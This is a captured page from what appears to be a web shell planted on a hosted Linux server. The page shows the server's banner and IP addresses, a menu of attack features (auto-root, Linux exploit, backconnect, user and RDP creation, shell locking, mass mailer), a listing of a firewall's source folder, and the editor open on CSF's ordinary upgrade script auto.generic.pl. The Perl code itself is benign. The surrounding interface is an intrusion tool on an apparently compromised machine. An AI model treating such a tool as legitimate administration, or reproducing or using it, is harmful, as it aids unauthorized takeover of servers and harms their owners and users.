Linux 120.141.167.72.host.secureserver.net 4.18.0-553.150.1.el8_10.x86_64 #1 SMP Fri Jul 31 15:23:31 EDT 2026 x86_64
Apache
: 72.167.141.120 | : 216.73.217.14
808 Domain
7.4.33
bestseocompany
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
csf /
[ HOME SHELL ]
Name
Size
Permission
Action
ConfigServer
[ DIR ]
drwxr-xr-x
Crypt
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
cpanel
[ DIR ]
drwxr-xr-x
csf
[ DIR ]
drwxr-xr-x
cwp
[ DIR ]
drwxr-xr-x
cyberpanel
[ DIR ]
drwxr-xr-x
da
[ DIR ]
drwxr-xr-x
interworx
[ DIR ]
drwxr-xr-x
messenger
[ DIR ]
drwxr-xr-x
profiles
[ DIR ]
drwxr-xr-x
ui
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
vestacp
[ DIR ]
drwxr-xr-x
webmin
[ DIR ]
drwxr-xr-x
LICENSE.md
35.26
KB
-rw-r--r--
README.md
121.25
KB
-rw-r--r--
accounttracking.txt
124
B
-rw-r--r--
alert.txt
181
B
-rw-r--r--
apache.http.txt
770
B
-rw-r--r--
apache.https.txt
1
KB
-rw-r--r--
apache.main.txt
0
B
-rw-r--r--
apf_stub.pl
2.2
KB
-rw-r--r--
auto.cwp.pl
16.5
KB
-rw-r--r--
auto.cyberpanel.pl
15.98
KB
-rw-r--r--
auto.directadmin.pl
16.83
KB
-rw-r--r--
auto.generic.pl
15.98
KB
-rw-r--r--
auto.interworx.pl
15.98
KB
-rw-r--r--
auto.pl
38.31
KB
-rwx------
auto.vesta.pl
16.49
KB
-rw-r--r--
changelog.txt
248.34
KB
-rw-r--r--
connectiontracking.txt
192
B
-rw-r--r--
consolealert.txt
76
B
-rw-r--r--
cpanel.allow
5.01
KB
-rw-r--r--
cpanel.comodo.allow
3.86
KB
-rw-r--r--
cpanel.comodo.ignore
3.07
KB
-rw-r--r--
cpanel.ignore
2.23
KB
-rw-r--r--
cpanelalert.txt
155
B
-rw-r--r--
csf.1.txt
7.71
KB
-rw-r--r--
csf.allow
1.91
KB
-rw-r--r--
csf.blocklists
8.41
KB
-rw-r--r--
csf.c
2.68
KB
-rw-r--r--
csf.cloudflare
2.84
KB
-rw-r--r--
csf.conf
132.74
KB
-rw-r--r--
csf.cwp.allow
1.84
KB
-rw-r--r--
csf.cwp.conf
126.66
KB
-rw-r--r--
csf.cwp.ignore
1.5
KB
-rw-r--r--
csf.cwp.pignore
4.1
KB
-rw-r--r--
csf.cyberpanel.allow
1.75
KB
-rw-r--r--
csf.cyberpanel.conf
126.42
KB
-rw-r--r--
csf.cyberpanel.ignore
1.49
KB
-rw-r--r--
csf.cyberpanel.pignore
3.64
KB
-rw-r--r--
csf.deny
1.74
KB
-rw-r--r--
csf.directadmin.allow
1.77
KB
-rw-r--r--
csf.directadmin.conf
129.06
KB
-rw-r--r--
csf.directadmin.ignore
1.48
KB
-rw-r--r--
csf.directadmin.pignore
3.45
KB
-rw-r--r--
csf.dirwatch
1.63
KB
-rw-r--r--
csf.div
12.44
KB
-rw-r--r--
csf.dyndns
1.91
KB
-rw-r--r--
csf.fignore
2.01
KB
-rw-r--r--
csf.generic.allow
1.79
KB
-rw-r--r--
csf.generic.conf
126.29
KB
-rw-r--r--
csf.generic.ignore
1.49
KB
-rw-r--r--
csf.generic.pignore
3.09
KB
-rw-r--r--
csf.help
0
B
-rw-r--r--
csf.ignore
1.57
KB
-rw-r--r--
csf.interworx.allow
1.81
KB
-rw-r--r--
csf.interworx.conf
126.71
KB
-rw-r--r--
csf.interworx.ignore
1.5
KB
-rw-r--r--
csf.interworx.pignore
3.68
KB
-rw-r--r--
csf.logfiles
1.9
KB
-rw-r--r--
csf.logignore
4.95
KB
-rw-r--r--
csf.mignore
1.4
KB
-rw-r--r--
csf.pignore
6.11
KB
-rw-r--r--
csf.pl
273.46
KB
-rwx------
csf.rblconf
1.76
KB
-rw-r--r--
csf.rbls
1.82
KB
-rw-r--r--
csf.redirect
2.2
KB
-rw-r--r--
csf.resellers
3.22
KB
-rw-r--r--
csf.rignore
2.67
KB
-rw-r--r--
csf.service
270
B
-rw-r--r--
csf.sh
14.07
KB
-rw-r--r--
csf.signore
1.4
KB
-rw-r--r--
csf.sips
1.48
KB
-rw-r--r--
csf.smtpauth
1.66
KB
-rw-r--r--
csf.suignore
1.35
KB
-rw-r--r--
csf.syslogs
3.28
KB
-rw-r--r--
csf.syslogusers
2.32
KB
-rw-r--r--
csf.uidignore
1.42
KB
-rw-r--r--
csf.vesta.allow
1.78
KB
-rw-r--r--
csf.vesta.conf
126.57
KB
-rw-r--r--
csf.vesta.ignore
1.48
KB
-rw-r--r--
csf.vesta.pignore
4.12
KB
-rw-r--r--
csfajaxtail.js
7.69
KB
-rw-r--r--
csfcron.sh
14
B
-rw-r--r--
csfpost.sh
13.39
KB
-rw-r--r--
csfpre.sh
13.39
KB
-rw-r--r--
csftest.pl
6.85
KB
-rw-r--r--
csget.pl
47.69
KB
-rw-r--r--
downloadservers
105
B
-rw-r--r--
exploitalert.txt
129
B
-rw-r--r--
filealert.txt
151
B
-rw-r--r--
forkbombalert.txt
132
B
-rw-r--r--
global.sh
22.51
KB
-rw-r--r--
install.cpanel.sh
42.97
KB
-rwxr-xr-x
install.cwp.sh
41.16
KB
-rwxr-xr-x
install.cyberpanel.sh
52.2
KB
-rwxr-xr-x
install.directadmin.sh
39.1
KB
-rwxr-xr-x
install.generic.sh
38.1
KB
-rwxr-xr-x
install.interworx.sh
39.48
KB
-rwxr-xr-x
install.sh
7.75
KB
-rwxr-xr-x
install.txt
3.64
KB
-rw-r--r--
install.vesta.sh
38.54
KB
-rwxr-xr-x
integrityalert.txt
374
B
-rw-r--r--
lfd.logrotate
172
B
-rw-r--r--
lfd.pl
410.82
KB
-rwx------
lfd.service
215
B
-rw-r--r--
lfd.sh
3.1
KB
-rw-r--r--
lfdcron.directadmin.sh
74
B
-rw-r--r--
lfdcron.sh
74
B
-rw-r--r--
license.txt
34.33
KB
-rw-r--r--
litespeed.http.txt
262
B
-rw-r--r--
litespeed.https.txt
1.17
KB
-rw-r--r--
litespeed.main.txt
0
B
-rw-r--r--
loadalert.txt
1.19
KB
-rw-r--r--
logalert.txt
103
B
-rw-r--r--
logfloodalert.txt
101
B
-rw-r--r--
migratedata.sh
9.33
KB
-rw-r--r--
modsecipdbalert.txt
211
B
-rw-r--r--
netblock.txt
191
B
-rw-r--r--
os.pl
7.93
KB
-rwx------
perf.sh
361
B
-rw-r--r--
permblock.txt
209
B
-rw-r--r--
portknocking.txt
129
B
-rw-r--r--
portscan.txt
175
B
-rw-r--r--
processtracking.txt
391
B
-rw-r--r--
pt_deleted_action.pl
2.09
KB
-rw-r--r--
queuealert.txt
97
B
-rw-r--r--
readme.txt
67.33
KB
-rw-r--r--
recaptcha.txt
143
B
-rw-r--r--
regex.custom.pm
3.28
KB
-rw-r--r--
regex.txt
13.39
KB
-rw-r--r--
relayalert.txt
196
B
-rw-r--r--
remove_apf_bfd.sh
397
B
-rw-r--r--
resalert.txt
260
B
-rw-r--r--
reselleralert.txt
181
B
-rw-r--r--
restricted.txt
1.2
KB
-rw-r--r--
sanity.txt
4.93
KB
-rw-r--r--
scriptalert.txt
200
B
-rw-r--r--
sshalert.txt
195
B
-rw-r--r--
sualert.txt
180
B
-rw-r--r--
sudoalert.txt
180
B
-rw-r--r--
syslogalert.txt
194
B
-rw-r--r--
tracking.txt
298
B
-rw-r--r--
uialert.txt
129
B
-rw-r--r--
uidscan.txt
150
B
-rw-r--r--
uninstall.cwp.sh
1.73
KB
-rwxr-xr-x
uninstall.cyberpanel.sh
1.94
KB
-rwxr-xr-x
uninstall.directadmin.sh
1.64
KB
-rwxr-xr-x
uninstall.generic.sh
1.52
KB
-rwxr-xr-x
uninstall.interworx.sh
1.85
KB
-rwxr-xr-x
uninstall.sh
2.21
KB
-rwxr-xr-x
uninstall.vesta.sh
1.68
KB
-rwxr-xr-x
upgrade.txt
1.68
KB
-rw-r--r--
usertracking.txt
192
B
-rw-r--r--
version.txt
5
B
-rw-r--r--
watchalert.txt
129
B
-rw-r--r--
webminalert.txt
165
B
-rw-r--r--
x-arf.txt
1.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : auto.generic.pl
#!/usr/bin/perl # # # @app ConfigServer Security & Firewall (CSF) # Login Failure Daemon (LFD) # @website https://configserver.dev # @docs https://docs.configserver.dev # @download https://download.configserver.dev # @repo https://github.com/Aetherinox/csf-firewall # @copyright Copyright (C) 2025-2026 Aetherinox # Copyright (C) 2006-2025 Jonathan Michaelson # Copyright (C) 2006-2025 Way to the Web Ltd. # @license GPLv3 # @updated 02.12.2026 # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, see <https://www.gnu.org/licenses>. # # ## no critic (ProhibitBarewordFileHandles, ProhibitExplicitReturnUndef, ProhibitMixedBooleanOperators, RequireBriefOpen) use strict; use Fcntl qw(:DEFAULT :flock); use IPC::Open3; umask(0177); our (%config, %configsetting, $vps, $oldversion); $oldversion = $ARGV[0]; open (VERSION, "<","/etc/csf/version.txt"); flock (VERSION, LOCK_SH); my $version = <VERSION>; close (VERSION); chomp $version; $version =~ s/\W/_/g; system("/bin/cp","-avf","/etc/csf/csf.conf","/var/lib/csf/backup/".time."_pre_v${version}_upgrade"); &loadcsfconfig; if (-e "/proc/vz/veinfo") { $vps = 1; } else { open (IN, "<","/proc/self/status"); flock (IN, LOCK_SH); while (my $line = <IN>) { chomp $line; if ($line =~ /^envID:\s*(\d+)\s*$/) { if ($1 > 0) { $vps = 1; last; } } } close (IN); } foreach my $alertfile ("sshalert.txt","sualert.txt","sudoalert.txt","webminalert.txt","cpanelalert.txt") { if (-e "/usr/local/csf/tpl/".$alertfile) { sysopen (my $IN, "/usr/local/csf/tpl/".$alertfile, O_RDWR | O_CREAT); flock ($IN, LOCK_EX); my @data = <$IN>; chomp @data; my $hit = 0; foreach my $line (@data) { if ($line =~ /\[text\]/) {$hit = 1} } unless ($hit) { print $IN "\nLog line:\n\n[text]\n"; } close ($IN); } } if (&checkversion("10.11") and !-e "/var/lib/csf/auto1011") { if (-e "/var/lib/csf/stats/lfdstats") { sysopen (STATS,"/var/lib/csf/stats/lfdstats", O_RDWR | O_CREAT); flock (STATS, LOCK_EX); my @stats = <STATS>; chomp @stats; my %ccs; my @line = split(/\,/,$stats[69]); for (my $x = 0; $x < @line; $x+=2) {$ccs{$line[$x]} = $line[$x+1]} $stats[69] = ""; foreach my $key (keys %ccs) {$stats[69] .= "$key,$ccs{$key},"} seek (STATS, 0, 0); truncate (STATS, 0); foreach my $line (@stats) { print STATS "$line\n"; } close (STATS); } open (OUT, ">", "/var/lib/csf/auto1011"); flock (OUT, LOCK_EX); print OUT time; close (OUT); } if (&checkversion("10.23") and !-e "/var/lib/csf/auto1023") { if (-e "/etc/csf/csf.blocklists") { sysopen (IN,"/etc/csf/csf.blocklists", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); my $SPAMDROPV6 = 0; my $STOPFORUMSPAMV6 = 0; foreach my $line (@data) { if ($line =~ /^(\#)?SPAMDROPV6/) {$SPAMDROPV6 = 1} if ($line =~ /^(\#)?STOPFORUMSPAMV6/) {$STOPFORUMSPAMV6 = 1} print IN "$line\n"; } unless ($SPAMDROPV6) { print IN "\n# Spamhaus IPv6 Don't Route Or Peer List (DROPv6)\n"; print IN "# Details: http://www.spamhaus.org/drop/\n"; print IN "#SPAMDROPV6|86400|0|https://www.spamhaus.org/drop/dropv6.txt\n"; } unless ($STOPFORUMSPAMV6) { print IN "\n# Stop Forum Spam IPv6\n"; print IN "# Details: http://www.stopforumspam.com/downloads/\n"; print IN "# Many of the lists available contain a vast number of IP addresses so special\n"; print IN "# care needs to be made when selecting from their lists\n"; print IN "#STOPFORUMSPAMV6|86400|0|http://www.stopforumspam.com/downloads/listed_ip_1_ipv6.zip\n"; } close (IN); } open (OUT, ">", "/var/lib/csf/auto1023"); flock (OUT, LOCK_EX); print OUT time; close (OUT); } if (&checkversion("12.02") and !-e "/var/lib/csf/auto1202") { if (-e "/etc/csf/csf.blocklists") { sysopen (IN,"/etc/csf/csf.blocklists", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); foreach my $line (@data) { if ($line =~ /greensnow/) {$line =~ s/http:/https:/g} print IN "$line\n"; } close (IN); } open (OUT, ">", "/var/lib/csf/auto1202"); flock (OUT, LOCK_EX); print OUT time; close (OUT); } if (&checkversion("14.03") and !-e "/var/lib/csf/auto1403") { if (-e "/etc/csf/csf.blocklists") { sysopen (IN,"/etc/csf/csf.blocklists", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); foreach my $line (@data) { if ($line =~ /dshield/) {$line =~ s/http:/https:/g} print IN "$line\n"; } close (IN); } open (OUT, ">", "/var/lib/csf/auto1403"); flock (OUT, LOCK_EX); print OUT time; close (OUT); } if (-e "/etc/csf/csf.allow") { sysopen (IN,"/etc/csf/csf.allow", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); foreach my $line (@data) { if ($line =~ /^Include \/etc\/csf\/cpanel\.comodo\.allow/) {next} print IN "$line\n"; } close (IN); } if (-e "/etc/csf/csf.ignore") { sysopen (IN,"/etc/csf/csf.ignore", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); foreach my $line (@data) { if ($line =~ /^Include \/etc\/csf\/cpanel\.comodo\.ignore/) {next} print IN "$line\n"; } close (IN); } if (-e "/usr/local/csf/bin/regex.custom.pm") { sysopen (IN,"/usr/local/csf/bin/regex.custom.pm", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); foreach my $line (@data) { if ($line =~ /^use strict;/) {next} print IN "$line\n"; } close (IN); } if (-e "/etc/csf/csf.blocklists") { sysopen (IN,"/etc/csf/csf.blocklists", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); foreach my $line (@data) { if ($line =~ /feeds\.dshield\.org/) {$line =~ s/feeds\.dshield\.org/www\.dshield\.org/g} if ($line =~ /openbl\.org/i) {next} if ($line =~ /autoshun/i) {next} print IN "$line\n"; } close (IN); } if (-e "/var/lib/csf/csf.tempban") { sysopen (IN,"/var/lib/csf/csf.tempban", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); foreach my $line (@data) { if ($line =~ /^\d+\:/) {$line =~ s/\:/\|/g} print IN "$line\n"; } close (IN); } if (-e "/var/lib/csf/csf.tempallow") { sysopen (IN,"/var/lib/csf/csf.tempallow", O_RDWR | O_CREAT); flock (IN, LOCK_EX); my @data = <IN>; chomp @data; seek (IN, 0, 0); truncate (IN, 0); foreach my $line (@data) { if ($line =~ /^\d+\:/) {$line =~ s/\:/\|/g} print IN "$line\n"; } close (IN); } if ($config{TESTING}) { open (IN, "<", "/etc/ssh/sshd_config") or die $!; flock (IN, LOCK_SH) or die $!; my @sshconfig = <IN>; close (IN); chomp @sshconfig; my $sshport = "22"; foreach my $line (@sshconfig) { if ($line =~ /^Port (\d+)/) {$sshport = $1} } $config{TCP_IN} =~ s/\s//g; if ($config{TCP_IN} ne "") { foreach my $port (split(/\,/,$config{TCP_IN})) { if ($port eq $sshport) {$sshport = "22"} } } if ($sshport ne "22") { $config{TCP_IN} .= ",$sshport"; $config{TCP6_IN} .= ",$sshport"; open (IN, "<", "/etc/csf/csf.conf") or die $!; flock (IN, LOCK_SH) or die $!; my @config = <IN>; close (IN); chomp @config; open (OUT, ">", "/etc/csf/csf.conf") or die $!; flock (OUT, LOCK_EX) or die $!; foreach my $line (@config) { if ($line =~ /^TCP6_IN/) { print OUT "TCP6_IN = \"$config{TCP6_IN}\"\n"; print "\n*** SSH port $sshport added to the TCP6_IN port list\n\n"; } elsif ($line =~ /^TCP_IN/) { print OUT "TCP_IN = \"$config{TCP_IN}\"\n"; print "\n*** SSH port $sshport added to the TCP_IN port list\n\n"; } else { print OUT $line."\n"; } } close OUT; &loadcsfconfig; } open (FH, "<", "/proc/sys/kernel/osrelease"); flock (IN, LOCK_SH); my @data = <FH>; close (FH); chomp @data; if ($data[0] =~ /^(\d+)\.(\d+)\.(\d+)/) { my $maj = $1; my $mid = $2; my $min = $3; if ($maj == 3 and $mid > 6) { open (IN, "<", "/etc/csf/csf.conf") or die $!; flock (IN, LOCK_SH) or die $!; my @config = <IN>; close (IN); chomp @config; open (OUT, ">", "/etc/csf/csf.conf") or die $!; flock (OUT, LOCK_EX) or die $!; foreach my $line (@config) { if ($line =~ /^USE_CONNTRACK =/) { print OUT "USE_CONNTRACK = \"1\"\n"; print "\n*** USE_CONNTRACK Enabled\n\n"; } else { print OUT $line."\n"; } } close OUT; &loadcsfconfig; } } my @ipdata; eval { local $SIG{__DIE__} = undef; local $SIG{'ALRM'} = sub {die "alarm\n"}; alarm(3); my ($childin, $childout); my $cmdpid = open3($childin, $childout, $childout, "$config{IPTABLES} --wait -L OUTPUT -nv"); @ipdata = <$childout>; waitpid ($cmdpid, 0); chomp @ipdata; if ($ipdata[0] =~ /# Warning: iptables-legacy tables present/) {shift @ipdata} alarm(0); }; alarm(0); if ($@ ne "alarm\n" and $ipdata[0] =~ /^Chain OUTPUT/) { $config{IPTABLESWAIT} = "--wait"; $config{WAITLOCK} = 1; open (IN, "<", "/etc/csf/csf.conf") or die $!; flock (IN, LOCK_SH) or die $!; my @config = <IN>; close (IN); chomp @config; open (OUT, ">", "/etc/csf/csf.conf") or die $!; flock (OUT, LOCK_EX) or die $!; foreach my $line (@config) { if ($line =~ /WAITLOCK =/) { print OUT "WAITLOCK = \"1\"\n"; } else { print OUT $line."\n"; } } close OUT; &loadcsfconfig; } if (-e $config{IP6TABLES} and !$vps) { my ($childin, $childout); my $cmdpid; if (-e $config{IP}) {$cmdpid = open3($childin, $childout, $childout, $config{IP}, "-oneline", "addr")} elsif (-e $config{IFCONFIG}) {$cmdpid = open3($childin, $childout, $childout, $config{IFCONFIG})} my @ifconfig = <$childout>; waitpid ($cmdpid, 0); chomp @ifconfig; if (grep {$_ =~ /\s*inet6/} @ifconfig) { $config{IPV6} = 1; open (FH, "<", "/proc/sys/kernel/osrelease"); flock (IN, LOCK_SH); my @data = <FH>; close (FH); chomp @data; if ($data[0] =~ /^(\d+)\.(\d+)\.(\d+)/) { my $maj = $1; my $mid = $2; my $min = $3; if (($maj > 2) or (($maj > 1) and ($mid > 6)) or (($maj > 1) and ($mid > 5) and ($min > 19))) { $config{IPV6_SPI} = 1; } else { $config{IPV6_SPI} = 0; } } open (IN, "<", "/etc/csf/csf.conf") or die $!; flock (IN, LOCK_SH) or die $!; my @config = <IN>; close (IN); chomp @config; open (OUT, ">", "/etc/csf/csf.conf") or die $!; flock (OUT, LOCK_EX) or die $!; foreach my $line (@config) { if ($line =~ /^IPV6 =/) { print OUT "IPV6 = \"$config{IPV6}\"\n"; print "\n*** IPV6 Enabled\n\n"; } elsif ($line =~ /^IPV6_SPI =/) { print OUT "IPV6_SPI = \"$config{IPV6_SPI}\"\n"; print "\n*** IPV6_SPI set to $config{IPV6_SPI}\n\n"; } else { print OUT $line."\n"; } } close OUT; &loadcsfconfig; } } } open (IN, "<", "csf.generic.conf") or die $!; flock (IN, LOCK_SH) or die $!; my @config = <IN>; close (IN); chomp @config; open (OUT, ">", "/etc/csf/csf.conf") or die $!; flock (OUT, LOCK_EX) or die $!; foreach my $line (@config) { if ($line =~ /^\#/) { print OUT $line."\n"; next; } if ($line !~ /=/) { print OUT $line."\n"; next; } my ($name,$value) = split (/=/,$line,2); $name =~ s/\s//g; if ($value =~ /\"(.*)\"/) { $value = $1; } else { print "Error: Invalid configuration line [$line]"; } if (&checkversion("10.15") and !-e "/var/lib/csf/auto1015") { if ($name eq "MESSENGER_RATE" and $config{$name} eq "30/m") {$config{$name} = "100/s"} if ($name eq "MESSENGER_BURST" and $config{$name} eq "5") {$config{$name} = "150"} open (my $AUTO, ">", "/var/lib/csf/auto1015"); flock ($AUTO, LOCK_EX); print $AUTO time; close ($AUTO); } if ($configsetting{$name}) { print OUT "$name = \"$config{$name}\"\n"; } else { if (&checkversion("9.29") and !-e "/var/lib/csf/auto929" and $name eq "PT_USERRSS") { $line = "PT_USERRSS = \"$config{PT_USERMEM}\""; open (my $AUTO, ">", "/var/lib/csf/auto929"); flock ($AUTO, LOCK_EX); print $AUTO time; close ($AUTO); } if ($name eq "CC_SRC") {$line = "CC_SRC = \"1\""} print OUT $line."\n"; print "New setting: $name\n"; } } close OUT; if ($config{TESTING}) { my @netstat = `netstat -lpn`; chomp @netstat; my @tcpports; my @udpports; my @tcp6ports; my @udp6ports; foreach my $line (@netstat) { if ($line =~ /^(\w+).* (\d+\.\d+\.\d+\.\d+):(\d+)/) { if ($2 eq '127.0.0.1') {next} if ($1 eq "tcp") { push @tcpports, $3; } elsif ($1 eq "udp") { push @udpports, $3; } } if ($line =~ /^(\w+).* (::):(\d+) /) { if ($1 eq "tcp") { push @tcp6ports, $3; } elsif ($1 eq "udp") { push @udp6ports, $3; } } } @tcpports = sort { $a <=> $b } @tcpports; @udpports = sort { $a <=> $b } @udpports; @tcp6ports = sort { $a <=> $b } @tcp6ports; @udp6ports = sort { $a <=> $b } @udp6ports; print "\nTCP ports currently listening for incoming connections:\n"; my $last = ""; foreach my $port (@tcpports) { if ($port ne $last) { if ($port ne $tcpports[0]) {print ","} print $port; $last = $port; } } print "\n\nUDP ports currently listening for incoming connections:\n"; $last = ""; foreach my $port (@udpports) { if ($port ne $last) { if ($port ne $udpports[0]) {print ","} print $port; $last = $port; } } my $opts = "TCP_*, UDP_*"; if (@tcp6ports or @udp6ports) { $opts .= ", IPV6, TCP6_*, UDP6_*"; print "\n\nIPv6 TCP ports currently listening for incoming connections:\n"; my $last = ""; foreach my $port (@tcp6ports) { if ($port ne $last) { if ($port ne $tcp6ports[0]) {print ","} print $port; $last = $port; } } print "\n"; print "\nIPv6 UDP ports currently listening for incoming connections:\n"; $last = ""; foreach my $port (@udp6ports) { if ($port ne $last) { if ($port ne $udp6ports[0]) {print ","} print $port; $last = $port; } } } print "\n\nNote: The port details above are for information only, csf hasn't been auto-configured.\n\n"; print "Don't forget to:\n"; print "1. Configure the following options in the csf configuration to suite your server: $opts\n"; print "2. Restart csf and lfd\n"; print "3. Set TESTING to 0 once you're happy with the firewall, lfd will not run until you do so\n"; } if ($ENV{SSH_CLIENT}) { my $ip = (split(/ /,$ENV{SSH_CLIENT}))[0]; if ($ip =~ /(\d+\.\d+\.\d+\.\d+)/) { print "\nAdding current SSH session IP address to the csf whitelist in csf.allow:\n"; system("/usr/sbin/csf -a $1 csf SSH installation/upgrade IP address"); } } exit; ############################################################################### sub loadcsfconfig { open (IN, "<", "/etc/csf/csf.conf") or die $!; flock (IN, LOCK_SH) or die $!; my @config = <IN>; close (IN); chomp @config; foreach my $line (@config) { if ($line =~ /^\#/) {next} if ($line !~ /=/) {next} my ($name,$value) = split (/=/,$line,2); $name =~ s/\s//g; if ($value =~ /\"(.*)\"/) { $value = $1; } else { print "Error: Invalid configuration line [$line]"; } $config{$name} = $value; $configsetting{$name} = 1; } return; } ############################################################################### sub checkversion { my $version = shift; my ($maj, $min) = split(/\./,$version); my ($oldmaj, $oldmin) = split(/\./,$oldversion); if ($oldmaj == 0 or $oldmaj eq "") {return 0} if (($oldmaj < $maj) or ($oldmaj == $maj and $oldmin < $min)) {return 1} else {return 0} } ###############################################################################
Close